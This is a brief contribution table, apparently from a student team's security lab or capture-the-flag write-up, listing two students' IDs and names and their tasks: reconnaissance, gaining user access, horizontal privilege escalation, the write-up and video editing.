1211103424	Muhammad Afiq Danish Bin Sunardi	Did the recon to find the correct port and gain access to one of the user. Help in doing the writeup. Do the video editing.	
1211103147	Ahmad Haikal Bin Emran	Do the horizontal privilege to switch user to user. Help in doing the writeup	